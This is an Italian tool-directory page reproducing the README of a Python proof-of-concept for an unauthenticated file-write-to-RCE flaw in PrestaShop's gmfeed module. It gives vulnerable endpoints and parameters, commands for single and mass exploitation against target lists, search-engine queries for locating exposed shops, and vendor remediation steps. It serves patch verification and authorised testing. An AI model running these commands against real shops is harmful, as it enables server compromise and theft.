Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-85520 — PoC in Python per CVE-2026-85520: rileva e sfrutta la scrittura arbitraria di file non autenticata in PrestaShop gmfeed feed.php per ottenere RCE, con scansione di massa. | Kitploit
Strumenti/GitHubGitHub/murrez/cve-2026-85520
RicognizioneScanner di Vulnerabilità WebAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubmurrez/cve-2026-85520

CVE-2026-85520

PoC in Python per CVE-2026-85520: rileva e sfrutta la scrittura arbitraria di file non autenticata in PrestaShop gmfeed feed.php per ottenere RCE, con scansione di massa.

Vedi Repository
121 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-85520 — Scrittura arbitraria di file non autenticata in PrestaShop gmfeed → RCE

PoC in Python 3 per CVE-2026-85520 — modulo Google Merchant Center Feed (gmfeed) di MyPresta.eu / VEKIA per PrestaShop — scrittura arbitraria di file non autenticata su feed.php quando viene utilizzata l'esportazione “Salva su file” / tramite URL. CVSS 3.1 9.3 Critico (Software).

PoCbithttps://pocbit.org/pocs/cve-2026-85520
Catalogohttps://pocbit.org/pocs/
Modulogmfeed (Google Merchant Center Feed)
Correzione del fornitore≥ 2.3.10 (consigliata l'installazione di 2.4.1+)
CWEProblemi della classe CWE-20 / CWE-73 / CWE-434 (autenticazione mancante + controllo di percorso/contenuto in scrittura)

Riepilogo della vulnerabilità (Türkçe)

gmfeed è un modulo commerciale che genera un catalogo prodotti XML/CSV per Google Merchant Center nei negozi PrestaShop. Nelle versioni precedenti, quando il catalogo veniva generato tramite URL e salvato su disco (Save to file / cron), l'endpoint modules/gmfeed/feed.php poteva accettare, senza autenticazione, parametri arbitrari che controllavano il nome del file di output, il percorso, l'estensione e il contenuto.

Con richieste GET/POST craftate l'attaccante può scrivere file arbitrari sul server (ad es. pocbit_xxxxx.php) e poi eseguirli via web ottenendo esecuzione di codice remoto (RCE). Ciò significa la completa compromissione del server e-commerce — testare solo in ambienti di pentest autorizzato / proprio lab shop.

Secondo l'annuncio del vendor (MyPresta.eu): le versioni precedenti alla 2.3.10 sono vulnerabili; la correzione aggiunge una chiave specifica del negozio agli URL save-to-file e disabilita la scrittura non autorizzata. Sovrascrivere il vecchio zip non basta — il modulo deve essere rimosso con “delete module files” e reinstallato pulito alla 2.4.1.


Riepilogo tecnico (English)

CVE-2026-85520 riguarda il modulo PrestaShop gmfeed (Google Merchant Center Feed di MyPresta.eu). Lo script di esportazione feed.php, quando la modalità salvataggio su disco è raggiungibile tramite URL (exportsavefile=1 e i relativi parametri di esportazione documentati nei changelog del fornitore), non applicava:

  1. Autenticazione / segreto specifico del negozio sulle richieste di salvataggio su file (corretto in 2.3.10+ con una chiave per negozio sugli URL di salvataggio).
  2. Validazione del nome file e del percorso — nomi controllati dall'attaccante consentono di scrivere sotto modules/gmfeed/ o tramite sequenze di traversal.
  3. Validazione del contenuto del file — il corpo fornito dall'attaccante può essere una webshell PHP, non un feed XML/CSV valido.

Impatto: scrittura arbitraria di file non autenticata → RCE (esecuzione del .php caricato via HTTP).

I parametri pubblici del fornitore citati nelle note di rilascio includono export_file_format, exportsavefile e le opzioni personalizzate di nome file di esportazione aggiunte nella linea 2.3.x. Questa PoC alterna alias comuni dei parametri (exportfilename, exportfilecontent, export_path, ecc.) contro:

  • /modules/gmfeed/feed.php
  • /index.php?fc=module&module=gmfeed&controller=feed

Funzionalità della PoC

ModalitàComportamento
checkRileva gmfeed (feed.php, config.xml, marcatori), analizza la versione del modulo, segnala < 2.3.10
check --aggressiveSonda leggera di salvataggio su file (nessuna shell permanente; exportsavefile=0 nel percorso della sonda)
exploitScrive una sonda pocbit_*.php con marcatore POCBIT-85520-OK, verifica tramite ?pocbit=1
exploit --dry-runEsporta solo le richieste della sonda (nessun posizionamento della shell)
mass--list + -j → hits.txt / exploited.txt + JSONL
--labfeed.php mock locale — deve mostrare exploited: true (verifica di sanità)
--forceIgnora i controlli “modulo mancante / versione corretta”

Campi JSONL: pocbit, pocbit_catalog, pocbit_page, cve, vendor, module, product.

Sicurezza: Il payload predefinito è uno stub PHP solo con marcatore, non una shell interattiva completa. Rimuovere i file scritti dopo i test autorizzati.


Requisiti

  • Python 3.9+
  • pip install requests urllib3

Utilizzo

Verifica della logica del PoC (laboratorio locale)

cd CVE-2026-85520
python poc.py --lab

Previsto: [LAB] verde, JSON "exploited": true, "shell_url": "http://127.0.0.1:8766/modules/gmfeed/pocbit_....php".

Singolo target — verifica

python poc.py -u https://shop.example.com --mode check
python poc.py -u https://shop.example.com --mode check --aggressive

Target singolo — exploit

python poc.py -u https://shop.example.com --mode exploit --dry-run
python poc.py -u https://shop.example.com --mode exploit
python poc.py -u https://shop.example.com --mode exploit --force

Verificare manualmente dopo l'exploit:

https://shop.example.com/modules/gmfeed/pocbit_XXXXXXXX.php?pocbit=1
→ POCBIT-85520-OK

Mass bulk

python poc.py --list prestashop_targets.txt --mode check -j 40
python poc.py --list hits.txt --mode exploit -j 20
python poc.py --list hits.txt --mode exploit -j 20 --dry-run
FileContenuto
cve_2026_85520_results.jsonlTutte le righe di verifica
cve_2026_85520_exploit.jsonlTutte le righe di exploit
hits.txtTab: URL, stato, versione
exploited.txtTab: URL, shell_url, versione

Rilevamento e suggerimenti FOFA / asset

Presenza del modulo:

body="/modules/gmfeed/" || body="gmfeed" || header="/modules/gmfeed/feed.php"

Versione (se esposta):

/modules/gmfeed/config.xml

Artefatti di feed statici (non prova di vulnerabilità da soli):

/modules/gmfeed/products.xml
/modules/gmfeed/combinations.xml

Nota: Molti negozi eseguono ≥ 2.3.10 dopo l'avviso di MyPresta del 2026 — aspettati patched_version o write_or_verify_failed nelle liste su Internet.


Remediation (vendor)

  1. Modules → Module manager → disinstalla Google Merchant Center Feed.
  2. Abilita delete module files (critico — rimuove la copia vulnerabile di feed.php).
  3. Installa gmfeed 2.4.1 (minimo 2.3.10) dall'account MyPresta.eu.
  4. Rigenera tutti gli URL "Save to file" / cron dal Back Office (nuova chiave del negozio).
  5. Verifica modules/gmfeed/ per file .php inattesi.

Riferimento: MyPresta security fix announcement.


Metadati PoCbit

{
  "pocbit": "https://pocbit.org",
  "pocbit_catalog": "https://pocbit.org/pocs/",
  "pocbit_page": "https://pocbit.org/pocs/cve-2026-85520",
  "cve": "CVE-2026-85520"
}

Legale

Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di autorizzazione scritta esplicita per i test. L'accesso non autorizzato è illegale. PoCbit fornisce strumenti proof-of-concept per la validazione difensiva e la verifica delle patch.


Descrizione del repository GitHub (copia-incolla)

CVE-2026-85520 PoC (PoCbit) — PrestaShop MyPresta gmfeed ≤2.3.9 unauthenticated arbitrary file write via feed.php (Save to file URL) → RCE. check + exploit + mass bulk (--list -j). https://pocbit.org/pocs/cve-2026-85520
Scarica lo strumento